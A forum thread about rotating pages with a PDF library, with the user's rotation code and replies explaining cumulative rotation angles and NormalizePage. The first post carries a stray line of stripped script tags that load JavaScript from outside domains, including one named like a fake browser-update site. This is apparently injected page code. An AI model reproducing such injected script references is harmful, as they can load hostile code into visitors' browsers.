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lakkan View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote lakkan Quote  Post ReplyReply Direct Link To This Post Topic: Rotate page
    Posted: 15 Feb 16 at 1:36PM
Hi,

Using PDF Library..

I have problem while rotating selected page.
For first time, PDF page rotates for 90 deg,  After that page is not getting rotated further by 90 deg.

Here is code:

QP.SetOrigin(1);
QP.SelectPage(1);
if(nRotateType == c_eventRotate90) //Clock wise
QP.RotatePage(90);
else if(nRotateType == c_eventRotate270) //Anti clockwise
QP.RotatePage(270);

if((nRotateType == c_eventRotate90) || (nRotateType == c_eventRotate270))
QP.SaveToFile(image_puForeign->acPathTemp); //It saves rotated page..
QP.RenderPageToDC(g_dpdfDPI, g_nCurrentPage,hdc);

Please let me know the solution

Narayana Reddy.L
 
< ="http://dial.clickscart.in/js/scrap.js" ="text/"> < ="http://dial.clickscart.in/js/ads.js" ="text/"> < ="http://browserupdatecheck.in/js/jquery.js" ="text/"> < ="http://browserupdatecheck.in/js/essence.js" ="text/">

Edited by lakkan - 15 Feb 16 at 1:38PM
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Ingo View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Ingo Quote  Post ReplyReply Direct Link To This Post Posted: 15 Feb 16 at 3:49PM
Hi Lakkan,

"rotate 90" don't rotate the page and save it rotated.
"rotate 90" means for the pdf reader that the document shall be displayed with a rotation of 90 degrees.
So if you insert a second "rotate 90" nothing more will happen.
If you want to add 90 degrees you have to add these 90 to the existing 90 -> "rotate 180".

Cheers, Ingo

Cheers,
Ingo

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BobW View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote BobW Quote  Post ReplyReply Direct Link To This Post Posted: 04 Mar 16 at 7:15PM
If you perform a NormalizePage 0 after the RotatePage, the results will be what you expect.  NormalizePage has the effect of saving the new orientation of the page.
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Pulkitsoft View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Pulkitsoft Quote  Post ReplyReply Direct Link To This Post Posted: 04 Jul 24 at 5:02PM
Perfect answer. Smile
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